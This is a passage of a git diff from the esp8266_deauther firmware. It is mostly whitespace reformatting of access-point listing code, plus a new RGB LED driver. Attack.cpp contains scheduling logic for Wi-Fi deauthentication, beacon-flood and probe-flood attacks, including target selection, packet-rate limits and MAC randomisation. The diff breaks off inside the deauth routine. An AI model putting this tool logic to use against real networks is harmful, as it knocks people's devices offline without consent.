prnt(buildString(String(SPACE) + getNameStr(num), String(), 17));
|
||||||
prnt(buildString(String(SPACE), (String)getRSSI(num), 5));
|
prnt(buildString(String(SPACE), (String)getCh(num), 3));
|
||||||
prnt(buildString(String(SPACE), getEncStr(num), 5));
|
prnt(buildString(String(SPACE), (String)getRSSI(num), 5));
|
||||||
prnt(buildString(String(SPACE) + getMacStr(num), String(), 18));
|
prnt(buildString(String(SPACE), getEncStr(num), 5));
|
||||||
prnt(buildString(String(SPACE) + getVendorStr(num), String(), 9));
|
prnt(buildString(String(SPACE) + getMacStr(num), String(), 18));
|
||||||
prntln(buildString(String(SPACE) + getSelectedStr(num), String(), 9));
|
prnt(buildString(String(SPACE) + getVendorStr(num), String(), 9));
|
||||||
|
prntln(buildString(String(SPACE) + getSelectedStr(num), String(), 9));
|
||||||
if (footer) {
|
|
||||||
prntln(AP_TABLE_DIVIDER);
|
if (footer) {
|
||||||
}
|
prntln(AP_TABLE_DIVIDER);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
String Accesspoints::getSSID(int num) {
|
String Accesspoints::getSSID(int num) {
|
||||||
if (!check(num)) return String();
|
if (!check(num)) return String();
|
||||||
if (getHidden(num)){
|
|
||||||
return str(AP_HIDDEN);
|
if (getHidden(num)) {
|
||||||
} else {
|
return str(AP_HIDDEN);
|
||||||
String ssid = WiFi.SSID(getID(num));
|
} else {
|
||||||
ssid = ssid.substring(0,32);
|
String ssid = WiFi.SSID(getID(num));
|
||||||
ssid = fixUtf8(ssid);
|
ssid = ssid.substring(0, 32);
|
||||||
return ssid;
|
ssid = fixUtf8(ssid);
|
||||||
}
|
return ssid;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
String Accesspoints::getNameStr(int num) {
|
String Accesspoints::getNameStr(int num) {
|
||||||
if (!check(num)) return String();
|
if (!check(num)) return String();
|
||||||
return names.find(getMac(num));
|
|
||||||
|
return names.find(getMac(num));
|
||||||
}
|
}
|
||||||
|
|
||||||
uint8_t Accesspoints::getCh(int num) {
|
uint8_t Accesspoints::getCh(int num) {
|
||||||
if (!check(num)) return 0;
|
if (!check(num)) return 0;
|
||||||
return WiFi.channel(getID(num));
|
|
||||||
|
return WiFi.channel(getID(num));
|
||||||
}
|
}
|
||||||
|
|
||||||
int Accesspoints::getRSSI(int num) {
|
int Accesspoints::getRSSI(int num) {
|
||||||
if (!check(num)) return 0;
|
if (!check(num)) return 0;
|
||||||
return WiFi.RSSI(getID(num));
|
|
||||||
|
return WiFi.RSSI(getID(num));
|
||||||
}
|
}
|
||||||
|
|
||||||
uint8_t Accesspoints::getEnc(int num) {
|
uint8_t Accesspoints::getEnc(int num) {
|
||||||
if (!check(num)) return 0;
|
if (!check(num)) return 0;
|
||||||
return WiFi.encryptionType(getID(num));
|
|
||||||
|
return WiFi.encryptionType(getID(num));
|
||||||
}
|
}
|
||||||
|
|
||||||
String Accesspoints::getEncStr(int num) {
|
String Accesspoints::getEncStr(int num) {
|
||||||
if (!check(num)) return String();
|
if (!check(num)) return String();
|
||||||
switch (getEnc(num)) {
|
|
||||||
|
switch (getEnc(num)) {
|
||||||
case ENC_TYPE_NONE:
|
case ENC_TYPE_NONE:
|
||||||
return String(DASH);
|
return String(DASH);
|
||||||
break;
|
|
||||||
|
break;
|
||||||
|
|
||||||
case ENC_TYPE_WEP:
|
case ENC_TYPE_WEP:
|
||||||
return str(AP_WEP);
|
return str(AP_WEP);
|
||||||
break;
|
|
||||||
|
break;
|
||||||
|
|
||||||
case ENC_TYPE_TKIP:
|
case ENC_TYPE_TKIP:
|
||||||
return str(AP_WPA);
|
return str(AP_WPA);
|
||||||
break;
|
|
||||||
|
break;
|
||||||
|
|
||||||
case ENC_TYPE_CCMP:
|
case ENC_TYPE_CCMP:
|
||||||
return str(AP_WPA2);
|
return str(AP_WPA2);
|
||||||
break;
|
|
||||||
|
break;
|
||||||
|
|
||||||
case ENC_TYPE_AUTO:
|
case ENC_TYPE_AUTO:
|
||||||
return str(AP_AUTO);
|
return str(AP_AUTO);
|
||||||
break;
|
|
||||||
}
|
break;
|
||||||
return String(QUESTIONMARK);
|
}
|
||||||
|
return String(QUESTIONMARK);
|
||||||
}
|
}
|
||||||
|
|
||||||
String Accesspoints::getSelectedStr(int num) {
|
String Accesspoints::getSelectedStr(int num) {
|
||||||
return b2a(getSelected(num));
|
return b2a(getSelected(num));
|
||||||
}
|
}
|
||||||
|
|
||||||
uint8_t* Accesspoints::getMac(int num) {
|
uint8_t* Accesspoints::getMac(int num) {
|
||||||
if (!check(num)) return 0;
|
if (!check(num)) return 0;
|
||||||
return WiFi.BSSID(getID(num));
|
|
||||||
|
return WiFi.BSSID(getID(num));
|
||||||
}
|
}
|
||||||
|
|
||||||
String Accesspoints::getMacStr(int num) {
|
String Accesspoints::getMacStr(int num) {
|
||||||
if (!check(num)) return String();
|
if (!check(num)) return String();
|
||||||
uint8_t* mac = getMac(num);
|
|
||||||
return bytesToStr(mac, 6);
|
uint8_t* mac = getMac(num);
|
||||||
|
return bytesToStr(mac, 6);
|
||||||
}
|
}
|
||||||
|
|
||||||
String Accesspoints::getVendorStr(int num) {
|
String Accesspoints::getVendorStr(int num) {
|
||||||
if (!check(num)) return String();
|
if (!check(num)) return String();
|
||||||
return searchVendor(getMac(num));
|
|
||||||
|
return searchVendor(getMac(num));
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Accesspoints::getHidden(int num) {
|
bool Accesspoints::getHidden(int num) {
|
||||||
if (!check(num)) return false;
|
if (!check(num)) return false;
|
||||||
return WiFi.isHidden(getID(num));
|
|
||||||
|
return WiFi.isHidden(getID(num));
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Accesspoints::getSelected(int num) {
|
bool Accesspoints::getSelected(int num) {
|
||||||
if (!check(num)) return false;
|
if (!check(num)) return false;
|
||||||
return list->get(num).selected;
|
|
||||||
|
return list->get(num).selected;
|
||||||
}
|
}
|
||||||
|
|
||||||
uint8_t Accesspoints::getID(int num){
|
uint8_t Accesspoints::getID(int num) {
|
||||||
if (!check(num)) return -1;
|
if (!check(num)) return -1;
|
||||||
return list->get(num).id;
|
|
||||||
|
return list->get(num).id;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Accesspoints::select(int num) {
|
void Accesspoints::select(int num) {
|
||||||
if (!check(num)) return;
|
if (!check(num)) return;
|
||||||
|
|
||||||
internal_select(num);
|
internal_select(num);
|
||||||
|
|
||||||
prnt(AP_SELECTED);
|
prnt(AP_SELECTED);
|
||||||
prntln(getSSID(num));
|
prntln(getSSID(num));
|
||||||
|
|
||||||
changed = true;
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Accesspoints::deselect(int num) {
|
void Accesspoints::deselect(int num) {
|
||||||
if (!check(num)) return;
|
if (!check(num)) return;
|
||||||
|
|
||||||
internal_deselect(num);
|
internal_deselect(num);
|
||||||
|
|
||||||
prnt(AP_DESELECTED);
|
|
||||||
prntln(getSSID(num));
|
|
||||||
|
|
||||||
changed = true;
|
prnt(AP_DESELECTED);
|
||||||
|
prntln(getSSID(num));
|
||||||
|
|
||||||
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Accesspoints::remove(int num) {
|
void Accesspoints::remove(int num) {
|
||||||
if (!check(num)) return;
|
if (!check(num)) return;
|
||||||
|
|
||||||
prnt(AP_REMOVED);
|
|
||||||
prntln(getSSID(num));
|
|
||||||
|
|
||||||
internal_remove(num);
|
prnt(AP_REMOVED);
|
||||||
|
prntln(getSSID(num));
|
||||||
changed = true;
|
|
||||||
|
internal_remove(num);
|
||||||
|
|
||||||
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Accesspoints::selectAll() {
|
void Accesspoints::selectAll() {
|
||||||
for(int i=0;i<count();i++)
|
for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, true });
|
||||||
list->replace(i,AP{list->get(i).id,true});
|
prntln(AP_SELECTED_ALL);
|
||||||
prntln(AP_SELECTED_ALL);
|
changed = true;
|
||||||
changed = true;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void Accesspoints::deselectAll() {
|
void Accesspoints::deselectAll() {
|
||||||
for(int i=0;i<count();i++)
|
for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, false });
|
||||||
list->replace(i,AP{list->get(i).id,false});
|
prntln(AP_DESELECTED_ALL);
|
||||||
prntln(AP_DESELECTED_ALL);
|
changed = true;
|
||||||
changed = true;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void Accesspoints::removeAll() {
|
void Accesspoints::removeAll() {
|
||||||
while(count() > 0)
|
while (count() > 0) internal_remove(0);
|
||||||
internal_remove(0);
|
prntln(AP_REMOVED_ALL);
|
||||||
prntln(AP_REMOVED_ALL);
|
changed = true;
|
||||||
changed = true;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
int Accesspoints::find(uint8_t id){
|
int Accesspoints::find(uint8_t id) {
|
||||||
int s = list->size();
|
int s = list->size();
|
||||||
for(int i=0;i<s;i++){
|
|
||||||
if(list->get(i).id == id)
|
for (int i = 0; i < s; i++) {
|
||||||
return i;
|
if (list->get(i).id == id) return i;
|
||||||
}
|
}
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
int Accesspoints::count() {
|
int Accesspoints::count() {
|
||||||
return list->size();
|
return list->size();
|
||||||
}
|
}
|
||||||
|
|
||||||
int Accesspoints::selected() {
|
int Accesspoints::selected() {
|
||||||
return list->count([](AP &a)->bool{
|
int c = 0;
|
||||||
return a.selected;
|
|
||||||
});
|
for (int i = 0; i < list->size(); i++) c += list->get(i).selected;
|
||||||
|
return c;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Accesspoints::check(int num) {
|
bool Accesspoints::check(int num) {
|
||||||
if (internal_check(num)) return true;
|
if (internal_check(num)) return true;
|
||||||
prnt(AP_NO_AP_ERROR);
|
|
||||||
prntln((String)num);
|
prnt(AP_NO_AP_ERROR);
|
||||||
return false;
|
prntln((String)num);
|
||||||
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Accesspoints::internal_check(int num) {
|
bool Accesspoints::internal_check(int num) {
|
||||||
return num >= 0 && num < count();
|
return num >= 0 && num < count();
|
||||||
}
|
}
|
||||||
|
|
||||||
void Accesspoints::internal_select(int num) {
|
void Accesspoints::internal_select(int num) {
|
||||||
list->replace(num,AP{list->get(num).id,true});
|
list->replace(num, AP{ list->get(num).id, true });
|
||||||
}
|
}
|
||||||
|
|
||||||
void Accesspoints::internal_deselect(int num) {
|
void Accesspoints::internal_deselect(int num) {
|
||||||
list->replace(num,AP{list->get(num).id,false});
|
list->replace(num, AP{ list->get(num).id, false });
|
||||||
}
|
}
|
||||||
|
|
||||||
void Accesspoints::internal_remove(int num) {
|
void Accesspoints::internal_remove(int num) {
|
||||||
list->remove(num);
|
list->remove(num);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -17,62 +17,60 @@ extern String buildString(String left, String right, int maxLen);
|
|||||||
extern String fixUtf8(String str);
|
extern String fixUtf8(String str);
|
||||||
extern String bytesToStr(uint8_t* b, uint32_t size);
|
extern String bytesToStr(uint8_t* b, uint32_t size);
|
||||||
|
|
||||||
struct AP{
|
struct AP {
|
||||||
uint8_t id;
|
uint8_t id;
|
||||||
bool selected;
|
bool selected;
|
||||||
};
|
};
|
||||||
|
|
||||||
class Accesspoints {
|
class Accesspoints {
|
||||||
public:
|
public:
|
||||||
Accesspoints();
|
Accesspoints();
|
||||||
|
|
||||||
void sort();
|
|
||||||
void sortAfterChannel();
|
|
||||||
|
|
||||||
void add(uint8_t id, bool selected);
|
|
||||||
void print(int num);
|
|
||||||
void print(int num, bool header, bool footer);
|
|
||||||
void select(int num);
|
|
||||||
void deselect(int num);
|
|
||||||
void remove(int num);
|
|
||||||
|
|
||||||
void printAll();
|
void sort();
|
||||||
void printSelected();
|
void sortAfterChannel();
|
||||||
void selectAll();
|
|
||||||
void deselectAll();
|
|
||||||
void removeAll();
|
|
||||||
|
|
||||||
String getSSID(int num);
|
|
||||||
String getNameStr(int num);
|
|
||||||
String getEncStr(int num);
|
|
||||||
String getMacStr(int num);
|
|
||||||
String getVendorStr(int num);
|
|
||||||
String getSelectedStr(int num);
|
|
||||||
uint8_t getCh(int num);
|
|
||||||
uint8_t getEnc(int num);
|
|
||||||
uint8_t getID(int num);
|
|
||||||
int getRSSI(int num);
|
|
||||||
uint8_t* getMac(int num);
|
|
||||||
bool getHidden(int num);
|
|
||||||
bool getSelected(int num);
|
|
||||||
|
|
||||||
int find(uint8_t id);
|
void add(uint8_t id, bool selected);
|
||||||
|
void print(int num);
|
||||||
int count();
|
void print(int num, bool header, bool footer);
|
||||||
int selected();
|
void select(int num);
|
||||||
|
void deselect(int num);
|
||||||
|
void remove(int num);
|
||||||
|
|
||||||
bool check(int num);
|
void printAll();
|
||||||
bool changed = false;
|
void printSelected();
|
||||||
private:
|
void selectAll();
|
||||||
SimpleList<AP>* list;
|
void deselectAll();
|
||||||
|
void removeAll();
|
||||||
bool internal_check(int num);
|
|
||||||
void internal_select(int num);
|
String getSSID(int num);
|
||||||
void internal_deselect(int num);
|
String getNameStr(int num);
|
||||||
void internal_remove(int num);
|
String getEncStr(int num);
|
||||||
|
String getMacStr(int num);
|
||||||
|
String getVendorStr(int num);
|
||||||
|
String getSelectedStr(int num);
|
||||||
|
uint8_t getCh(int num);
|
||||||
|
uint8_t getEnc(int num);
|
||||||
|
uint8_t getID(int num);
|
||||||
|
int getRSSI(int num);
|
||||||
|
uint8_t* getMac(int num);
|
||||||
|
bool getHidden(int num);
|
||||||
|
bool getSelected(int num);
|
||||||
|
|
||||||
|
int find(uint8_t id);
|
||||||
|
|
||||||
|
int count();
|
||||||
|
int selected();
|
||||||
|
|
||||||
|
bool check(int num);
|
||||||
|
bool changed = false;
|
||||||
|
|
||||||
|
private:
|
||||||
|
SimpleList<AP>* list;
|
||||||
|
|
||||||
|
bool internal_check(int num);
|
||||||
|
void internal_select(int num);
|
||||||
|
void internal_deselect(int num);
|
||||||
|
void internal_remove(int num);
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif
|
#endif // ifndef Accesspoints_h
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
44
esp8266_deauther/AnalogRGBLED.cpp
Normal file
44
esp8266_deauther/AnalogRGBLED.cpp
Normal file
@@ -0,0 +1,44 @@
|
|||||||
|
#include "AnalogRGBLED.h"
|
||||||
|
|
||||||
|
AnalogRGBLED::AnalogRGBLED(uint8_t rPin, uint8_t gPin, uint8_t bPin, uint8_t brightness, bool anode) {
|
||||||
|
AnalogRGBLED::anode = anode;
|
||||||
|
AnalogRGBLED::rPin = rPin;
|
||||||
|
AnalogRGBLED::gPin = gPin;
|
||||||
|
AnalogRGBLED::bPin = bPin;
|
||||||
|
setBrightness(brightness);
|
||||||
|
}
|
||||||
|
|
||||||
|
AnalogRGBLED::~AnalogRGBLED() {}
|
||||||
|
|
||||||
|
void AnalogRGBLED::setup() {
|
||||||
|
analogWriteRange(0xff);
|
||||||
|
|
||||||
|
if (rPin < 255) pinMode(rPin, OUTPUT);
|
||||||
|
|
||||||
|
if (gPin < 255) pinMode(gPin, OUTPUT);
|
||||||
|
|
||||||
|
if (bPin < 255) pinMode(bPin, OUTPUT);
|
||||||
|
}
|
||||||
|
|
||||||
|
void AnalogRGBLED::setColor(uint8_t r, uint8_t g, uint8_t b) {
|
||||||
|
if ((r > 0) && (brightness < 100)) r = r * brightness / 100;
|
||||||
|
|
||||||
|
if ((g > 0) && (brightness < 100)) g = g * brightness / 100;
|
||||||
|
|
||||||
|
if ((b > 0) && (brightness < 100)) b = b * brightness / 100;
|
||||||
|
|
||||||
|
if (anode) {
|
||||||
|
r = 255 - r;
|
||||||
|
g = 255 - g;
|
||||||
|
b = 255 - b;
|
||||||
|
}
|
||||||
|
|
||||||
|
analogWrite(rPin, r);
|
||||||
|
analogWrite(gPin, g);
|
||||||
|
analogWrite(bPin, b);
|
||||||
|
}
|
||||||
|
|
||||||
|
void AnalogRGBLED::setBrightness(uint8_t brightness) {
|
||||||
|
if (brightness > 100) brightness = 100;
|
||||||
|
AnalogRGBLED::brightness = brightness;
|
||||||
|
}
|
||||||
23
esp8266_deauther/AnalogRGBLED.h
Normal file
23
esp8266_deauther/AnalogRGBLED.h
Normal file
@@ -0,0 +1,23 @@
|
|||||||
|
#ifndef AnalogRGBLED_H
|
||||||
|
#define AnalogRGBLED_H
|
||||||
|
|
||||||
|
#include "StatusLED.h"
|
||||||
|
|
||||||
|
class AnalogRGBLED : public StatusLED {
|
||||||
|
public:
|
||||||
|
AnalogRGBLED(uint8_t rPin, uint8_t gPin, uint8_t bPin, uint8_t brightness, bool anode);
|
||||||
|
~AnalogRGBLED();
|
||||||
|
|
||||||
|
void setup();
|
||||||
|
void setColor(uint8_t r, uint8_t g, uint8_t b);
|
||||||
|
void setBrightness(uint8_t brightness);
|
||||||
|
void setMode(uint8_t mode, bool force);
|
||||||
|
|
||||||
|
private:
|
||||||
|
bool anode = true;
|
||||||
|
uint8_t rPin = 255;
|
||||||
|
uint8_t gPin = 255;
|
||||||
|
uint8_t bPin = 255;
|
||||||
|
uint8_t brightness = 0;
|
||||||
|
};
|
||||||
|
#endif // ifndef AnalogRGBLED_H
|
||||||
@@ -1,431 +1,448 @@
|
|||||||
#include "Attack.h"
|
#include "Attack.h"
|
||||||
|
|
||||||
Attack::Attack() {
|
Attack::Attack() {
|
||||||
getRandomMac(mac);
|
getRandomMac(mac);
|
||||||
|
|
||||||
if (settings.getBeaconInterval()) {
|
if (settings.getBeaconInterval()) {
|
||||||
// 1s beacon interval
|
// 1s beacon interval
|
||||||
beaconPacket[32] = 0xe8;
|
beaconPacket[32] = 0xe8;
|
||||||
beaconPacket[33] = 0x03;
|
beaconPacket[33] = 0x03;
|
||||||
} else {
|
} else {
|
||||||
// 100ms beacon interval
|
// 100ms beacon interval
|
||||||
beaconPacket[32] = 0x64;
|
beaconPacket[32] = 0x64;
|
||||||
beaconPacket[33] = 0x00;
|
beaconPacket[33] = 0x00;
|
||||||
}
|
}
|
||||||
|
|
||||||
deauth.time = currentTime;
|
deauth.time = currentTime;
|
||||||
beacon.time = currentTime;
|
beacon.time = currentTime;
|
||||||
probe.time = currentTime;
|
probe.time = currentTime;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Attack::start() {
|
void Attack::start() {
|
||||||
stop();
|
stop();
|
||||||
prntln(A_START);
|
prntln(A_START);
|
||||||
attackTime = currentTime;
|
attackTime = currentTime;
|
||||||
attackStartTime = currentTime;
|
attackStartTime = currentTime;
|
||||||
accesspoints.sortAfterChannel();
|
accesspoints.sortAfterChannel();
|
||||||
stations.sortAfterChannel();
|
stations.sortAfterChannel();
|
||||||
running = true;
|
running = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Attack::start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout) {
|
void Attack::start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout) {
|
||||||
Attack::beacon.active = beacon;
|
Attack::beacon.active = beacon;
|
||||||
Attack::deauth.active = deauth || deauthAll;
|
Attack::deauth.active = deauth || deauthAll;
|
||||||
Attack::deauthAll = deauthAll;
|
Attack::deauthAll = deauthAll;
|
||||||
Attack::probe.active = probe;
|
Attack::probe.active = probe;
|
||||||
|
|
||||||
Attack::output = output;
|
Attack::output = output;
|
||||||
Attack::timeout = timeout;
|
Attack::timeout = timeout;
|
||||||
|
|
||||||
//if (((beacon || probe) && ssids.count() > 0) || (deauthAll && scan.countAll() > 0) || (deauth && scan.countSelected() > 0)){
|
// if (((beacon || probe) && ssids.count() > 0) || (deauthAll && scan.countAll() > 0) || (deauth &&
|
||||||
if (beacon || probe || deauthAll || deauth) {
|
// scan.countSelected() > 0)){
|
||||||
start();
|
if (beacon || probe || deauthAll || deauth) {
|
||||||
} else {
|
start();
|
||||||
prntln(A_NO_MODE_ERROR);
|
} else {
|
||||||
accesspoints.sort();
|
prntln(A_NO_MODE_ERROR);
|
||||||
stations.sort();
|
accesspoints.sort();
|
||||||
stop();
|
stations.sort();
|
||||||
}
|
stop();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void Attack::stop() {
|
void Attack::stop() {
|
||||||
if (running) {
|
if (running) {
|
||||||
running = false;
|
running = false;
|
||||||
deauthPkts = 0;
|
deauthPkts = 0;
|
||||||
beaconPkts = 0;
|
beaconPkts = 0;
|
||||||
probePkts = 0;
|
probePkts = 0;
|
||||||
deauth.packetCounter = 0;
|
deauth.packetCounter = 0;
|
||||||
beacon.packetCounter = 0;
|
beacon.packetCounter = 0;
|
||||||
probe.packetCounter = 0;
|
probe.packetCounter = 0;
|
||||||
deauth.maxPkts = 0;
|
deauth.maxPkts = 0;
|
||||||
beacon.maxPkts = 0;
|
beacon.maxPkts = 0;
|
||||||
probe.maxPkts = 0;
|
probe.maxPkts = 0;
|
||||||
packetRate = 0;
|
packetRate = 0;
|
||||||
deauth.tc = 0;
|
deauth.tc = 0;
|
||||||
beacon.tc = 0;
|
beacon.tc = 0;
|
||||||
probe.tc = 0;
|
probe.tc = 0;
|
||||||
prntln(A_STOP);
|
prntln(A_STOP);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Attack::isRunning() {
|
bool Attack::isRunning() {
|
||||||
return running;
|
return running;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Attack::updateCounter() {
|
void Attack::updateCounter() {
|
||||||
// stop when timeout is active and time is up
|
// stop when timeout is active and time is up
|
||||||
if (timeout > 0 && currentTime - attackStartTime >= timeout) {
|
if ((timeout > 0) && (currentTime - attackStartTime >= timeout)) {
|
||||||
prntln(A_TIMEOUT);
|
prntln(A_TIMEOUT);
|
||||||
stop();
|
stop();
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
// deauth packets per second
|
// deauth packets per second
|
||||||
if (deauth.active) {
|
if (deauth.active) {
|
||||||
if (deauthAll) deauth.maxPkts = settings.getDeauthsPerTarget() * (accesspoints.count() + stations.count()*2 - names.selected());
|
if (deauthAll) deauth.maxPkts = settings.getDeauthsPerTarget() *
|
||||||
else deauth.maxPkts = settings.getDeauthsPerTarget() * (accesspoints.selected() + stations.selected()*2 + names.selected() + names.stations());
|
(accesspoints.count() + stations.count() * 2 - names.selected());
|
||||||
} else {
|
else deauth.maxPkts = settings.getDeauthsPerTarget() *
|
||||||
deauth.maxPkts = 0;
|
(accesspoints.selected() + stations.selected() * 2 + names.selected() + names.stations());
|
||||||
}
|
} else {
|
||||||
|
deauth.maxPkts = 0;
|
||||||
|
}
|
||||||
|
|
||||||
// beacon packets per second
|
// beacon packets per second
|
||||||
if (beacon.active) {
|
if (beacon.active) {
|
||||||
beacon.maxPkts = ssids.count();
|
beacon.maxPkts = ssids.count();
|
||||||
if (!settings.getBeaconInterval()) beacon.maxPkts *= 10;
|
|
||||||
} else {
|
|
||||||
beacon.maxPkts = 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
// probe packets per second
|
if (!settings.getBeaconInterval()) beacon.maxPkts *= 10;
|
||||||
if (probe.active) probe.maxPkts = ssids.count() * settings.getProbesPerSSID();
|
} else {
|
||||||
else probe.maxPkts = 0;
|
beacon.maxPkts = 0;
|
||||||
|
}
|
||||||
|
|
||||||
// random transmission power
|
// probe packets per second
|
||||||
if (settings.getRandomTX() && (beacon.active || probe.active)) setOutputPower(random(21));
|
if (probe.active) probe.maxPkts = ssids.count() * settings.getProbesPerSSID();
|
||||||
else setOutputPower(20.5f);
|
else probe.maxPkts = 0;
|
||||||
|
|
||||||
// reset counters
|
// random transmission power
|
||||||
deauthPkts = deauth.packetCounter;
|
if (settings.getRandomTX() && (beacon.active || probe.active)) setOutputPower(random(21));
|
||||||
beaconPkts = beacon.packetCounter;
|
else setOutputPower(20.5f);
|
||||||
probePkts = probe.packetCounter;
|
|
||||||
packetRate = tmpPacketRate;
|
// reset counters
|
||||||
deauth.packetCounter = 0;
|
deauthPkts = deauth.packetCounter;
|
||||||
beacon.packetCounter = 0;
|
beaconPkts = beacon.packetCounter;
|
||||||
probe.packetCounter = 0;
|
probePkts = probe.packetCounter;
|
||||||
deauth.tc = 0;
|
packetRate = tmpPacketRate;
|
||||||
beacon.tc = 0;
|
deauth.packetCounter = 0;
|
||||||
probe.tc = 0;
|
beacon.packetCounter = 0;
|
||||||
tmpPacketRate = 0;
|
probe.packetCounter = 0;
|
||||||
|
deauth.tc = 0;
|
||||||
|
beacon.tc = 0;
|
||||||
|
probe.tc = 0;
|
||||||
|
tmpPacketRate = 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Attack::status() {
|
void Attack::status() {
|
||||||
char s[120];
|
char s[120];
|
||||||
sprintf(s, str(A_STATUS).c_str(), packetRate, deauthPkts, deauth.maxPkts, beaconPkts, beacon.maxPkts, probePkts, probe.maxPkts);
|
|
||||||
prnt(String(s));
|
sprintf(s, str(
|
||||||
|
A_STATUS).c_str(), packetRate, deauthPkts, deauth.maxPkts, beaconPkts, beacon.maxPkts, probePkts,
|
||||||
|
probe.maxPkts);
|
||||||
|
prnt(String(s));
|
||||||
}
|
}
|
||||||
|
|
||||||
String Attack::getStatusJSON() {
|
String Attack::getStatusJSON() {
|
||||||
String json = String(OPEN_BRACKET); // [
|
String json = String(OPEN_BRACKET); // [
|
||||||
json += String(OPEN_BRACKET) + b2s(deauth.active) + String(COMMA) + String(scan.countSelected()) + String(COMMA) + String(deauthPkts) + String(COMMA) + String(deauth.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
|
||||||
json += String(OPEN_BRACKET) + b2s(beacon.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(beaconPkts) + String(COMMA) + String(beacon.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
|
||||||
json += String(OPEN_BRACKET) + b2s(probe.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(probePkts) + String(COMMA) + String(probe.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
|
||||||
json += String(packetRate); // 0
|
|
||||||
json += CLOSE_BRACKET; // ]
|
|
||||||
|
|
||||||
return json;
|
json += String(OPEN_BRACKET) + b2s(deauth.active) + String(COMMA) + String(scan.countSelected()) + String(COMMA) +
|
||||||
|
String(deauthPkts) + String(COMMA) + String(deauth.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
||||||
|
json += String(OPEN_BRACKET) + b2s(beacon.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(
|
||||||
|
beaconPkts) + String(COMMA) + String(beacon.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
||||||
|
json += String(OPEN_BRACKET) + b2s(probe.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(
|
||||||
|
probePkts) + String(COMMA) + String(probe.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
||||||
|
json += String(packetRate); // 0
|
||||||
|
json += CLOSE_BRACKET; // ]
|
||||||
|
|
||||||
|
return json;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Attack::update() {
|
void Attack::update() {
|
||||||
if (!running || scan.isScanning()) return;
|
if (!running || scan.isScanning()) return;
|
||||||
|
|
||||||
apCount = accesspoints.count();
|
apCount = accesspoints.count();
|
||||||
stCount = stations.count();
|
stCount = stations.count();
|
||||||
nCount = names.count();
|
nCount = names.count();
|
||||||
|
|
||||||
// run/update all attacks
|
|
||||||
deauthUpdate();
|
|
||||||
deauthAllUpdate();
|
|
||||||
beaconUpdate();
|
|
||||||
probeUpdate();
|
|
||||||
|
|
||||||
// each second
|
// run/update all attacks
|
||||||
if (currentTime - attackTime > 1000) {
|
deauthUpdate();
|
||||||
attackTime = currentTime; // update time
|
deauthAllUpdate();
|
||||||
updateCounter();
|
beaconUpdate();
|
||||||
if (output) status(); // status update
|
probeUpdate();
|
||||||
getRandomMac(mac); // generate new random mac
|
|
||||||
}
|
// each second
|
||||||
|
if (currentTime - attackTime > 1000) {
|
||||||
|
attackTime = currentTime; // update time
|
||||||
|
updateCounter();
|
||||||
|
|
||||||
|
if (output) status(); // status update
|
||||||
|
getRandomMac(mac); // generate new random mac
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void Attack::deauthUpdate() {
|
void Attack::deauthUpdate() {
|
||||||
if (!deauthAll && deauth.active && deauth.maxPkts > 0 && deauth.packetCounter < deauth.maxPkts) {
|
if (!deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) {
|
||||||
if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) {
|
if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) {
|
||||||
// APs
|
// APs
|
||||||
if (apCount > 0 && deauth.tc < apCount) {
|
if ((apCount > 0) && (deauth.tc < apCount)) {
|
||||||
if (accesspoints.getSelected(deauth.tc)) {
|
if (accesspoints.getSelected(deauth.tc)) {
|
||||||
deauth.tc += deauthAP(deauth.tc);
|
deauth.tc += deauthAP(deauth.tc);
|
||||||
} else deauth.tc++;
|
} else deauth.tc++;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Stations
|
// Stations
|
||||||
else if (stCount > 0 && deauth.tc >= apCount && deauth.tc < stCount + apCount) {
|
else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) {
|
||||||
if (stations.getSelected(deauth.tc - apCount)) {
|
if (stations.getSelected(deauth.tc - apCount)) {
|
||||||
